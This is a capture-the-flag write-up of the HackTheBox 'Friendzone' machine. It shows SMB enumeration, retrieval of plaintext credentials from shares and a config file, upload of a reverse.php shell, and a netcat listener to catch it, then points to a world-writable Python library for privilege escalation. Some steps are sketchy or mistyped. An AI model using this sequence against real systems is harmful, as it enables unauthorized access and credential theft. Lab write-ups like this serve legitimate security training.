Friendzone is an easy-rated Linux machine from HackTheBox, created by Creator askar. In the current post, my IP is 10.10.14.24, and the target IP is 10.129.191.183.
Friendzone is like those easy boxes that are challenging. At the start, it has a lot of noise and rabbit holes, wasting your time. The good thing about this machine, is it's a mix of many techniques and stuff, checking SMB, doing an LFI, inject a php file, etc. It's a funny machine.
Gathering Information
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
It has the FTP port 21 service working, we are going to check if has the user anonymous
It doesn't work, and the services https at the port 443, can provide information by using the command openSSL
There is an email (haha@friendzone.red) and a domain (CN = friendzone.red), to avoid public IPs, we need to add it to /etc/hosts
Now, we are going to get information using whatweb to view the Content Manager
New email added {info@friendzoneportal.red} and thanks to it, another domain {friendzoneportal.red}, remember to add it in /etc/hosts. If you are using Windows, use vi C:\Windows\System32\drivers\etc\hosts
Browser: http://10.129.191.183
At first sight, there is nothing, let's check with CTLR+U
Browser: https://10.129.181.183
It looks like a dead end, but still, we have two domains to test,
We can see that the website respond to the parameter timestamp, by adding a .php at the end. Thanks to SMB we find a folder called Development that we can read and write, this sounds weird but there is a chance that by creating a file and test something will happen.
$ smbclient -L 10.129.191.183 -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
Local Terminal
$ smbmap -H 10.129.191.183
[+] Guest session IP: 10.129.191.183:445 Name: friendzone.red
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))
Local Terminal
$ smbclient //10.129.191.183/general -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jan 16 17:10:51 2019
.. D 0 Tue Sep 13 11:56:24 2022
creds.txt N 57 Tue Oct 9 20:52:42 2018
3545824 blocks of size 1024. 1651340 blocks available
smb: \> get creds.txt
getting file \creds.txt of size 57 as creds.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Local Terminal
$ cat creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Local Terminal
$ smbmap -H 10.129.191.183 -u 'admin' -p 'WORKWORKHhallelujah@#'
[+] Guest session IP: 10.129.191.183:445 Name: friendzone.red
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))
$ dig axfr friendzone.red @ns1.hostresolver.com.
# Some writeups says that this should work, but for some reason I want use axfr scan.
# You should find: https://administrator1.friendzone.red/
$ smbclient //10.129.191.183/Development -N
$ put reverse.php
$ exit
Local Terminal
$ rlwrap nc -nlvp 443
Local Terminal
www-data@FriendZone:/var/www/admin$ ls
dashboard.php images index.html login.php timestamp.php
www-data@FriendZone:/var/www/admin$ cd ..
www-data@FriendZone:/var/www$ ls
admin friendzone friendzoneportal friendzoneportaladmin html mysql_data.conf uploads
Target Terminal [www-data]
www-data@FriendZone:/var/www$ cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
Target Terminal [www-data]
www-data@FriendZone:/var/www$ su friend
Password: #Try: Agpyu12!0.213$
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
Target Terminal [Friend]
friend@FriendZone:/opt/server_admin$ ls -la /usr/lib/python2.7/os.py
-rwxrwxrwx 1 root root 25910 Jan 15 2019 /usr/lib/python2.7/os.py
# Or you can try "find -type f -writable -ls" (From "0xdf hacks stuff")